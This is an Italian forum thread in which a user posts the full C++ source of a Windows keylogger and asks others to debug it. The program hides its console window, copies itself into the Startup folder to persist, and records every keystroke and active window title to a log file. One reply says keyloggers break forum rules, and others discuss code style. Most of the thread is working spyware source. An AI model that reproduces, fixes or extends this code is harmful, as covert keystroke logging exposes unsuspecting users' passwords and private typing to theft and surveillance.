PDA

View Full Version : [C++] KeyLogger non funziona???


L3n
27-10-2010, 16:01
Salve. Ho riscartabellato un vecchio keylogger che avevo di qualche tempo fa e funzionava. Ora gli ho apportato delle modifiche e non va più. Siccome mi sto impazzendo, che poi tanto lo so che è una cosa stupida (o un errore idiota o una dimenticanza), non è che potreste aiutarmi a capire qual è l'errore?? Grazie in anticipo!

Questo è il codice:

/*

KeyLogger v.Beta
Author: R#I
Language: C++

*/

#include <iostream>
#include <windows.h>
#include <WinUser.h>
#include <cstring>
#include <fstream>

using namespace std;

void logga(char stringa[500]);
void logga(char carattere); // OVERLOAD
void nasc_sposta(char *dir_destinazione);
char *GetEsecAutoDir();

ofstream log; //File di LOG
char *destinazioneLog; // Destinazione file di log

int main()
{
nasc_sposta(GetEsecAutoDir());
int key;
HWND finestra_corrente;
char titolo_finestra[255], attuale[255];
while(1)
{
Sleep(10); // Per non usare tutta la CPU
finestra_corrente = GetForegroundWindow();
GetWindowText(finestra_corrente, titolo_finestra, 254);
if(strcmp(titolo_finestra, attuale)!= 0)
{
logga("\n");
logga(titolo_finestra);
logga("\n");
}
strcpy(attuale, titolo_finestra);

// ========================= Titolo Finestra ================

if(GetAsyncKeyState(key)== -32767){

// Tasti F1,F1,F2 ecc
if(key >= 112 and key <= 123){
switch(key){
case 112: logga("[F1]"); break;
case 113: logga("[F2]"); break;
case 114: logga("[F3]"); break;
case 115: logga("[F4]"); break;
case 116: logga("[F5]"); break;
case 117: logga("[F6]"); break;
case 118: logga("[F7]"); break;
case 119: logga("[F8]"); break;
case 120: logga("[F9]"); break;
case 121: logga("[F10]"); break;
case 122: logga("[F11]"); break;
case 123: logga("[F12]"); break;
}
}
// Alfabeto
if(key >= 65 && key <= 90){

if(GetAsyncKeyState(VK_CAPITAL)==1 || GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){
// Se è premuto shift o Caps Lock è attivato memoriziamo la lettera in maiuscolo
logga(key);

}else{
// Se no memorizziamola in minuscolo
key += 32;
logga(key);
}
}
// TASTI numerici
if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){
// Se è premuto shift ...
switch(key){
case 48 : logga('='); break;
case 49 : logga('!'); break;
case 50 : logga('"'); break;
case 51 : logga('£'); break;
case 52 : logga('$'); break;
case 53 : logga('%'); break;
case 54 : logga('&'); break;
case 55 : logga('/'); break;
case 56 : logga('('); break;
case 57 : logga(')'); break;
}

}else{
// Se no stampa i numeri
if(key >= 48 && key <= 57)logga(key);
}

if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){
// Se è premuto Shift ...
switch(key){

case 186 : logga('é'); break;
case 187 : logga('*'); break;
case 188 : logga(';'); break;
case 189 : logga('_'); break;
case 190 : logga(':'); break;
case 191 : logga('§'); break;
case 192 : logga('ç'); break;
case 219 : logga('?'); break;
case 220 : logga('|'); break;
case 221 : logga('^'); break;
case 222 : logga('°'); break;
case 226 : logga('>'); break;

}

}else if((GetAsyncKeyState(17)==-127 || GetAsyncKeyState(17)==-128 )&&(GetAsyncKeyState(18)==-127 ||
GetAsyncKeyState(18)==-128 )&&( GetAsyncKeyState(162)==-127 || GetAsyncKeyState(162)==-128 )&&
(GetAsyncKeyState(165)==-127 || GetAsyncKeyState(165)==-128) ){
// Se tiene premuto ALT GR
switch(key){
case 101 : logga('€'); break;
case 192 : logga('@'); break;
case 222 : logga('#'); break;
case 187 : logga(']'); break;
case 186 : logga('['); break;
}
}else{
// Se no
switch(key){
case 192 : logga('ò'); break;
case 191 : logga('ù'); break;
case 222 : logga('à'); break;
case 187 : logga('+'); break;
case 186 : logga('è'); break;
case 188 : logga(','); break;
case 190 : logga('.'); break;
case 189 : logga('-'); break;
case 219 : logga('\''); break;
case 221 : logga('ì'); break;
case 226 : logga('<'); break;
case 220 : logga('\\'); break;
}

switch(key){

case 8 : logga("[BACK]"); break;
case 9 : logga("[TABLE]"); break;
case 11: logga("[HOME]"); break;
case 13: logga("[RETURN]"); break;
case 27: logga("[ESC]"); break;
case 32: logga("[SPACE]"); break;
case 33: logga("[PAG SU]"); break;
case 34: logga("[PAG GIU]"); break;
case 35: logga("[END]"); break;
case 36: logga("[HOME]"); break;
case 37: logga("[LEFT]"); break;
case 38: logga("[TOP]"); break;
case 39: logga("[RIGHT]"); break;
case 40: logga("[BOTTOM]"); break;
case 44: logga("[STAMP SCREEN]"); break;
case 45: logga("[INS]"); break;
case 46: logga("[CANC]"); break;
case 91: logga("[WINDOWS]"); break;
case 92: logga("[WINDOWS]"); break;
case 96: logga('0'); break;
case 97: logga('1'); break;
case 98: logga('2'); break;
case 99: logga('3'); break;
case 100: logga('4'); break;
case 101: logga('5'); break;
case 102: logga('6'); break;
case 103: logga('7'); break;
case 104: logga('8'); break;
case 105: logga('9'); break;
case 106: logga('*'); break;
case 107: logga('+'); break;
case 109: logga('-'); break;
case 110: logga('.'); break;
case 111: logga('/'); break;
case 144: logga("[BLOC NUM]"); break;
case 145: logga("[BLOC SCORR]"); break;
case 163: logga("[ESC]"); break;
case 255: logga("[SPACE]"); break;
}
}
}
}
return 0;
}

void nasc_sposta(char *dir_destinazione)
{
HWND invisibile;

invisibile = FindWindow("ConsoleWindowClass", NULL); //Valore finestra keylogger
ShowWindow(invisibile, SW_HIDE); //Nascondo finestra
MoveFile("key.exe", dir_destinazione); // Sposto in esecuzione automatica
}

char *GetEsecAutoDir()
{
char disco[255], utente[255], *user_path;
DWORD *a;
user_path = new char[255]; // Alloccazione dinamica
a = new DWORD[255]; // Come sopra
GetSystemDirectory(disco, 254); // Prendo disco rigido in uso
destinazioneLog = new char[255]; //destinazioneLog = disco; strcat(destinazioneLog, "\\key.log"); // Lo copio in variabile Globale
GetUserName(utente, a); // Prendo Nome Utente
strncpy(user_path, disco, 3); //
strcat(user_path, "Documents and Settings\\");
strcat(user_path, utente);// destinazioneLog = user_path; strcat(destinazioneLog, "\\logged.txt"); // cout << destinazioneLog; cin.get();
strcat(user_path, "\\Menu Avvio\\Programmi\\Esecuzione automatica\\key.exe");
return user_path; // Ritorno il cpleto valore per copiare il file in esecuzione auto
}

void logga(char carattere) // Loggo caratteri
{
log.open("log.txt", ios::app);
log << carattere;
log.close();
}

void logga(char stringa[500]) // Loggo caratteri speciali sotto forma di stringhe
{
log.open("log.txt", ios::app);
log << stringa;
log.close();
}

Tommo
27-10-2010, 17:29
Mi sa che hai confuso il concetto di programmazione con quello di switch...
che robaccia è l'ultimo switch? non bastava una sottrazione al posto dei case da 96 a 110?
Mi sa che faresti bene a dare un occhio a una cosa che si chiama "tabella ASCII" perchè il tuo codice si riscrive in 4 righe.

A parte quello kick lock & ban perchè lo scopo di tutto questo obbrobrio era un keylogger.
Ciap :D

L3n
27-10-2010, 17:35
Non sapevo fosse vietato??!
Comunque grazie per il consiglio, anche se, non penso che si possa scrivere proprio in 4 righe come dici tu!

EDIT: Ma comunque si sa perchè non lavora? Qual è l'errore che faccio?

L3n
27-10-2010, 18:34
Almeno mi sapete dire come rilevare i simboli @#[]€ con il tasto alt gr (ctrl e alt). Ho provato VK_CONTROL (CTRL) e VK_MENU (ALT), ma non li rileva per niente! Non si accorge nemmeno che vengono premuti, infatti mi da i caratteri normali senza la pressione di alt gr! Potete aiutarmi??

shinya
27-10-2010, 21:38
A parte quello kick lock & ban perchè lo scopo di tutto questo obbrobrio era un keylogger.
Moralista bacchettone.

d@vid
27-10-2010, 22:04
Mi sa che hai confuso il concetto di programmazione con quello di switch...
che robaccia è l'ultimo switch? non bastava una sottrazione al posto dei case da 96 a 110?


Scusate l'intromissione

intendi con un ciclo for?


for i from 96 to 110
case i: logga(char(*codice ASCII progressivo*)) break;
end